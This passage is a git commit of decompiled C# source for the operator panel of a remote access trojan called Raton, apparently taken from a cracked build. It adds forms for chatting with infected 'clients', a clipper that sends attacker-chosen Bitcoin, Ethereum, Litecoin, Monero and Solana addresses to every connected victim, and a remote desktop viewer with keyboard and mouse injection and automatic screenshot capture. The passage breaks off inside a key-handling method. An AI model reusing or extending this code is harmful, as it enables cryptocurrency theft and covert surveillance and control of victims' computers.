initial commit
This commit is contained in:
@@ -0,0 +1,69 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.RatonPI
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class RatonPI : Form
|
||||
{
|
||||
private IContainer components;
|
||||
public TextBox textBox1;
|
||||
|
||||
public RatonPI()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void RatonPI_Load(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (RatonPI));
|
||||
this.textBox1 = new TextBox();
|
||||
this.SuspendLayout();
|
||||
this.textBox1.BorderStyle = BorderStyle.None;
|
||||
this.textBox1.Dock = DockStyle.Fill;
|
||||
this.textBox1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBox1.Location = new Point(0, 0);
|
||||
this.textBox1.Margin = new Padding(4);
|
||||
this.textBox1.Multiline = true;
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.ReadOnly = true;
|
||||
this.textBox1.Size = new Size(485, 241);
|
||||
this.textBox1.TabIndex = 0;
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(485, 241);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Margin = new Padding(4);
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (RatonPI);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (RatonPI);
|
||||
this.Load += new EventHandler(this.RatonPI_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,153 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonChat
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using RatonAccessTool.Controls;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonChat : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private ColumnHeader columnHeader1;
|
||||
private Timer timer1;
|
||||
private TextBox textBox1;
|
||||
public ImageList imageList1;
|
||||
public AeroListView aeroListView1;
|
||||
|
||||
public string Username { get; set; }
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonChat()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonChat_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private static byte[] ImageToByteArray(Image image)
|
||||
{
|
||||
using (MemoryStream memoryStream = new MemoryStream())
|
||||
{
|
||||
image.Save((Stream) memoryStream, ImageFormat.Png);
|
||||
return memoryStream.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
private void ratonChat_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "CloseChat");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void textBox1_Enter(object sender, EventArgs e) => this.textBox1.Clear();
|
||||
|
||||
private void textBox1_KeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
if (e.KeyCode != Keys.Return)
|
||||
return;
|
||||
byte[] byteArray = ratonChat.ImageToByteArray(this.imageList1.Images[1]);
|
||||
ListViewItem listViewItem = new ListViewItem($"[{this.Username}]: {this.textBox1.Text}");
|
||||
listViewItem.ImageIndex = 1;
|
||||
this.aeroListView1.Items.Add(listViewItem);
|
||||
listViewItem.EnsureVisible();
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "ChatMessage");
|
||||
pack.Set("img", byteArray);
|
||||
pack.SetString("Message", $"[{this.Username}]: {this.textBox1.Text}");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
e.SuppressKeyPress = true;
|
||||
this.textBox1.Clear();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonChat));
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter = new AeroListView.ListViewColumnSorter();
|
||||
this.imageList1 = new ImageList(this.components);
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.textBox1 = new TextBox();
|
||||
this.aeroListView1 = new AeroListView();
|
||||
this.columnHeader1 = new ColumnHeader();
|
||||
this.SuspendLayout();
|
||||
this.imageList1.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageList1.ImageStream");
|
||||
this.imageList1.TransparentColor = Color.Transparent;
|
||||
this.imageList1.Images.SetKeyName(0, "uservro.jpg");
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.textBox1.Dock = DockStyle.Bottom;
|
||||
this.textBox1.Location = new Point(0, 469);
|
||||
this.textBox1.MaxLength = 280;
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(717, 21);
|
||||
this.textBox1.TabIndex = 1;
|
||||
this.textBox1.Text = "Click here to type a message, then press the enter to your client";
|
||||
this.textBox1.Enter += new EventHandler(this.textBox1_Enter);
|
||||
this.textBox1.KeyDown += new KeyEventHandler(this.textBox1_KeyDown);
|
||||
this.aeroListView1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView1.Columns.AddRange(new ColumnHeader[1]
|
||||
{
|
||||
this.columnHeader1
|
||||
});
|
||||
this.aeroListView1.Dock = DockStyle.Fill;
|
||||
this.aeroListView1.FullRowSelect = true;
|
||||
this.aeroListView1.HeaderStyle = ColumnHeaderStyle.None;
|
||||
this.aeroListView1.HideSelection = false;
|
||||
this.aeroListView1.Location = new Point(0, 0);
|
||||
viewColumnSorter.Order = SortOrder.None;
|
||||
viewColumnSorter.SortColumn = 0;
|
||||
this.aeroListView1.LvwColumnSorter = viewColumnSorter;
|
||||
this.aeroListView1.Name = "aeroListView1";
|
||||
this.aeroListView1.Size = new Size(717, 490);
|
||||
this.aeroListView1.SmallImageList = this.imageList1;
|
||||
this.aeroListView1.TabIndex = 0;
|
||||
this.aeroListView1.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView1.View = View.Details;
|
||||
this.columnHeader1.Text = "Username";
|
||||
this.columnHeader1.Width = 715;
|
||||
this.AutoScaleDimensions = new SizeF(7f, 14f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(717, 490);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.aeroListView1);
|
||||
this.Font = new Font("Microsoft JhengHei UI", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Name = nameof (ratonChat);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonChat);
|
||||
this.FormClosing += new FormClosingEventHandler(this.ratonChat_FormClosing);
|
||||
this.Load += new EventHandler(this.ratonChat_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,246 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonClipper
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonClipper : Form
|
||||
{
|
||||
public bool isListening;
|
||||
public List<SillyClient> clients;
|
||||
public string btc = "";
|
||||
public string eth = "";
|
||||
public string xmr = "";
|
||||
public string solana = "";
|
||||
public string ltc = "";
|
||||
private IContainer components;
|
||||
private TextBox textBox1;
|
||||
private TextBox textBox2;
|
||||
private Label label1;
|
||||
private Label label2;
|
||||
private RgbBuildButton button1;
|
||||
private TextBox textBox3;
|
||||
private Label label3;
|
||||
private TextBox textBox4;
|
||||
private Label label4;
|
||||
private TextBox textBox5;
|
||||
private Label label5;
|
||||
|
||||
public ratonClipper()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
this.clients = new List<SillyClient>();
|
||||
}
|
||||
|
||||
private void ratonClipper_Load(object sender, EventArgs e)
|
||||
{
|
||||
if (!this.isListening)
|
||||
return;
|
||||
this.button1.Text = "Stop clipper";
|
||||
}
|
||||
|
||||
private async void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
ratonClipper ratonClipper = this;
|
||||
if (string.IsNullOrWhiteSpace(ratonClipper.textBox1.Text) && string.IsNullOrWhiteSpace(ratonClipper.textBox2.Text) && string.IsNullOrWhiteSpace(ratonClipper.textBox3.Text) && string.IsNullOrWhiteSpace(ratonClipper.textBox4.Text) && string.IsNullOrWhiteSpace(ratonClipper.textBox5.Text))
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("Please insert atleast an address");
|
||||
}
|
||||
else
|
||||
{
|
||||
ratonClipper.isListening = !ratonClipper.isListening;
|
||||
if (ratonClipper.isListening)
|
||||
{
|
||||
ratonClipper.btc = ratonClipper.textBox1.Text;
|
||||
ratonClipper.eth = ratonClipper.textBox2.Text;
|
||||
ratonClipper.ltc = ratonClipper.textBox3.Text;
|
||||
ratonClipper.xmr = ratonClipper.textBox4.Text;
|
||||
ratonClipper.solana = ratonClipper.textBox5.Text;
|
||||
ratonClipper.clients = Program.form2.GetClients();
|
||||
ratonClipper.Text = $"Clipper activated on {ratonClipper.clients.Count.ToString()} clients";
|
||||
ratonClipper.button1.Text = "Stop clipper";
|
||||
Program.form2.isClipping = true;
|
||||
await Task.Run((Action) (() =>
|
||||
{
|
||||
foreach (SillyClient client in ratonClipper.clients)
|
||||
{
|
||||
if (client.isConnected())
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Clipper");
|
||||
pack.SetString("BTC", ratonClipper.btc);
|
||||
pack.SetString("ETH", ratonClipper.eth);
|
||||
pack.SetString("LTC", ratonClipper.ltc);
|
||||
pack.SetString("XMR", ratonClipper.xmr);
|
||||
pack.SetString("SOLANA", ratonClipper.solana);
|
||||
client.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
else
|
||||
{
|
||||
ratonClipper.button1.Text = "Start clipper";
|
||||
ratonClipper.Text = "Clipper";
|
||||
Program.form2.isClipping = false;
|
||||
foreach (SillyClient client in ratonClipper.clients)
|
||||
{
|
||||
if (client.isConnected())
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Clipper");
|
||||
pack.SetString("BTC", ratonClipper.textBox1.Text);
|
||||
pack.SetString("ETH", ratonClipper.textBox2.Text);
|
||||
pack.SetString("LTC", ratonClipper.textBox3.Text);
|
||||
pack.SetString("XMR", ratonClipper.textBox4.Text);
|
||||
pack.SetString("SOLANA", ratonClipper.textBox5.Text);
|
||||
client.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void ratonClipper_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
e.Cancel = true;
|
||||
this.Visible = false;
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonClipper));
|
||||
this.textBox1 = new TextBox();
|
||||
this.textBox2 = new TextBox();
|
||||
this.label1 = new Label();
|
||||
this.label2 = new Label();
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.textBox3 = new TextBox();
|
||||
this.label3 = new Label();
|
||||
this.textBox4 = new TextBox();
|
||||
this.label4 = new Label();
|
||||
this.textBox5 = new TextBox();
|
||||
this.label5 = new Label();
|
||||
this.SuspendLayout();
|
||||
this.textBox1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBox1.Location = new Point(12, 29);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(514, 23);
|
||||
this.textBox1.TabIndex = 1;
|
||||
this.textBox2.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBox2.Location = new Point(12, 75);
|
||||
this.textBox2.Name = "textBox2";
|
||||
this.textBox2.Size = new Size(514, 23);
|
||||
this.textBox2.TabIndex = 2;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(12, 9);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(99, 17);
|
||||
this.label1.TabIndex = 3;
|
||||
this.label1.Text = "Bitcoin address";
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label2.Location = new Point(12, 55);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(82, 17);
|
||||
this.label2.TabIndex = 4;
|
||||
this.label2.Text = "ETH address";
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_person_money_24_filled;
|
||||
this.button1.IconSize = 24;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(12, 254);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(514, 46);
|
||||
this.button1.TabIndex = 5;
|
||||
this.button1.Text = "Start clipper";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.textBox3.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBox3.Location = new Point(12, 121);
|
||||
this.textBox3.Name = "textBox3";
|
||||
this.textBox3.Size = new Size(514, 23);
|
||||
this.textBox3.TabIndex = 6;
|
||||
this.label3.AutoSize = true;
|
||||
this.label3.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label3.Location = new Point(12, 101);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new Size(81, 17);
|
||||
this.label3.TabIndex = 7;
|
||||
this.label3.Text = "LTC address";
|
||||
this.textBox4.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBox4.Location = new Point(12, 167);
|
||||
this.textBox4.Name = "textBox4";
|
||||
this.textBox4.Size = new Size(514, 23);
|
||||
this.textBox4.TabIndex = 8;
|
||||
this.label4.AutoSize = true;
|
||||
this.label4.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label4.Location = new Point(12, 147);
|
||||
this.label4.Name = "label4";
|
||||
this.label4.Size = new Size(87, 17);
|
||||
this.label4.TabIndex = 9;
|
||||
this.label4.Text = "XMR address";
|
||||
this.textBox5.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBox5.Location = new Point(12, 213);
|
||||
this.textBox5.Name = "textBox5";
|
||||
this.textBox5.Size = new Size(514, 23);
|
||||
this.textBox5.TabIndex = 10;
|
||||
this.label5.AutoSize = true;
|
||||
this.label5.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label5.Location = new Point(12, 193);
|
||||
this.label5.Name = "label5";
|
||||
this.label5.Size = new Size(111, 17);
|
||||
this.label5.TabIndex = 11;
|
||||
this.label5.Text = "SOLANA address";
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(541, 321);
|
||||
this.Controls.Add((Control) this.textBox5);
|
||||
this.Controls.Add((Control) this.label5);
|
||||
this.Controls.Add((Control) this.textBox4);
|
||||
this.Controls.Add((Control) this.label4);
|
||||
this.Controls.Add((Control) this.textBox3);
|
||||
this.Controls.Add((Control) this.label3);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.textBox2);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.label2);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonClipper);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = "Clipper";
|
||||
this.FormClosing += new FormClosingEventHandler(this.ratonClipper_FormClosing);
|
||||
this.Load += new EventHandler(this.ratonClipper_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,564 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonDesktop
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using CustomControls;
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonDesktop : Form
|
||||
{
|
||||
private bool closing;
|
||||
private IContainer components;
|
||||
private Timer timer1;
|
||||
private Timer timer2;
|
||||
public PictureBox pictureBox1;
|
||||
private MenuStrip menuStrip1;
|
||||
private ToolStripMenuItem toggleConfigurationToolStripMenuItem;
|
||||
private Label label2;
|
||||
private RgbBuildButton button1;
|
||||
private RgbBuildButton button2;
|
||||
private TrackBar trackBar1;
|
||||
public FlatComboBox flatComboBox1;
|
||||
private Label label1;
|
||||
private Label label3;
|
||||
private CustomSwitch checkBox2;
|
||||
private Label label4;
|
||||
private CustomSwitch checkBox1;
|
||||
private CustomSwitch checkBox3;
|
||||
private Panel panel1;
|
||||
private Label label7;
|
||||
private Label label6;
|
||||
private Label label5;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public int FPS { get; set; }
|
||||
|
||||
public object OneByOne { get; set; }
|
||||
|
||||
public Point imageSize { get; set; }
|
||||
|
||||
private List<Keys> keysPressed { get; set; }
|
||||
|
||||
public ratonDesktop()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
this.OneByOne = new object();
|
||||
this.keysPressed = new List<Keys>();
|
||||
}
|
||||
|
||||
private void ratonDesktop_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.Focus();
|
||||
this.KeyPreview = true;
|
||||
this.timer1.Start();
|
||||
this.timer2.Start();
|
||||
this.MouseWheel += new MouseEventHandler(this.MouseWheelHandler);
|
||||
}
|
||||
|
||||
private void ratonDesktop_KeyPress(object sender, KeyPressEventArgs e)
|
||||
{
|
||||
if (!this.checkBox1.Checked || this.button1.Enabled || char.IsControl(e.KeyChar))
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RemoteDesktop");
|
||||
pack.SetString("Command", "KeyboardChar");
|
||||
pack.SetInt("Char", (int) e.KeyChar);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void Clickk(int button)
|
||||
{
|
||||
if (!this.checkBox2.Checked || this.button1.Enabled)
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RemoteDesktop");
|
||||
pack.SetString("Command", "MouseClick");
|
||||
pack.SetInt("Button", button);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void MouseWheelHandler(object sender, MouseEventArgs e)
|
||||
{
|
||||
if (!this.checkBox2.Checked || this.button1.Enabled)
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RemoteDesktop");
|
||||
pack.SetString("Command", "MouseWheel");
|
||||
pack.SetInt("Delta", e.Delta);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
if (this.InvokeRequired)
|
||||
this.BeginInvoke((Delegate) new Action(((Form) this).Close));
|
||||
else
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void timer2_Tick(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (this.checkBox3.Checked && !this.button1.Enabled)
|
||||
{
|
||||
if (this.pictureBox1.Image == null)
|
||||
return;
|
||||
string str1 = Path.Combine(Program.ClientsFolder, this.SillyClient.uid);
|
||||
Directory.CreateDirectory(str1);
|
||||
string str2 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
|
||||
string filename = Path.Combine(str1, $"Desktop_{str2}_{Helpers.Random(2)}.png");
|
||||
lock (this.OneByOne)
|
||||
{
|
||||
if (this.pictureBox1.Image == null)
|
||||
return;
|
||||
using (Bitmap bitmap = new Bitmap(this.pictureBox1.Image))
|
||||
bitmap.Save(filename, ImageFormat.Png);
|
||||
}
|
||||
}
|
||||
this.Text = $"Remote desktop | Client ID: {this.SillyClient.uid} | FPS: {this.FPS}";
|
||||
this.FPS = 0;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private void pictureBox1_MouseDown(object sender, MouseEventArgs e)
|
||||
{
|
||||
int button = e.Button == MouseButtons.Left ? 2 : (e.Button == MouseButtons.Right ? 8 : 0);
|
||||
if (button == 0)
|
||||
return;
|
||||
this.Clickk(button);
|
||||
}
|
||||
|
||||
private void pictureBox1_MouseUp(object sender, MouseEventArgs e)
|
||||
{
|
||||
int button = e.Button == MouseButtons.Left ? 4 : (e.Button == MouseButtons.Right ? 16 /*0x10*/ : 0);
|
||||
if (button == 0)
|
||||
return;
|
||||
this.Clickk(button);
|
||||
}
|
||||
|
||||
private void pictureBox1_HelpRequested(object sender, HelpEventArgs hlpevent)
|
||||
{
|
||||
}
|
||||
|
||||
public void StartCapture(int screen)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RemoteDesktop");
|
||||
pack.SetString("Command", "Start");
|
||||
pack.SetInt("Quality", this.trackBar1.Value);
|
||||
pack.SetInt("Screen", screen);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
public void StopCapture()
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RemoteDesktop");
|
||||
pack.SetString("Command", "Stop");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void ratonDesktop_HelpButtonClicked(object sender, CancelEventArgs e)
|
||||
{
|
||||
if (this.Tag == (object) "meow")
|
||||
{
|
||||
this.panel1.Visible = false;
|
||||
this.Tag = (object) "aaa";
|
||||
}
|
||||
else
|
||||
{
|
||||
this.Tag = (object) "meow";
|
||||
this.panel1.Visible = false;
|
||||
}
|
||||
}
|
||||
|
||||
private void ratonDesktop_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
if (this.closing)
|
||||
return;
|
||||
this.closing = true;
|
||||
this.timer1.Stop();
|
||||
this.timer2.Stop();
|
||||
this.StopCapture();
|
||||
this.MouseWheel -= new MouseEventHandler(this.MouseWheelHandler);
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.flatComboBox1.SelectedItem == null || this.flatComboBox1.SelectedText == "No screens :(")
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("No screens detected", "Error", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
else
|
||||
{
|
||||
this.StartCapture(this.flatComboBox1.SelectedIndex);
|
||||
this.button1.Enabled = false;
|
||||
this.button2.Enabled = true;
|
||||
this.flatComboBox1.Enabled = false;
|
||||
this.trackBar1.Enabled = false;
|
||||
this.checkBox1.Enabled = false;
|
||||
this.checkBox2.Enabled = false;
|
||||
this.checkBox3.Enabled = false;
|
||||
this.panel1.Visible = false;
|
||||
}
|
||||
}
|
||||
|
||||
private void button2_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.StopCapture();
|
||||
this.WindowState = FormWindowState.Normal;
|
||||
this.button1.Enabled = true;
|
||||
this.button2.Enabled = false;
|
||||
this.checkBox1.Enabled = true;
|
||||
this.checkBox2.Enabled = true;
|
||||
this.checkBox3.Enabled = true;
|
||||
this.flatComboBox1.Enabled = true;
|
||||
this.trackBar1.Enabled = true;
|
||||
}
|
||||
|
||||
private void ratonDesktop_KeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
if (!this.checkBox1.Checked || this.button1.Enabled)
|
||||
return;
|
||||
if (!this.keysPressed.Contains(e.KeyCode))
|
||||
{
|
||||
this.keysPressed.Add(e.KeyCode);
|
||||
if (e.KeyCode == Keys.Back || e.KeyCode == Keys.Tab || e.KeyCode == Keys.Left || e.KeyCode == Keys.Right || e.KeyCode == Keys.Up || e.KeyCode == Keys.Down)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RemoteDesktop");
|
||||
pack.SetString("Command", "KeyboardClick");
|
||||
pack.SetBool("isKeyDown", true);
|
||||
pack.SetInt("Key", (int) e.KeyCode);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
e.Handled = true;
|
||||
}
|
||||
|
||||
private void ratonDesktop_KeyUp(object sender, KeyEventArgs e)
|
||||
{
|
||||
if (!this.checkBox1.Checked || this.button1.Enabled)
|
||||
return;
|
||||
this.keysPressed.Remove(e.KeyCode);
|
||||
if (e.KeyCode == Keys.Back || e.KeyCode == Keys.Tab || e.KeyCode == Keys.Left || e.KeyCode == Keys.Right || e.KeyCode == Keys.Up || e.KeyCode == Keys.Down)
|
||||
{
|
||||
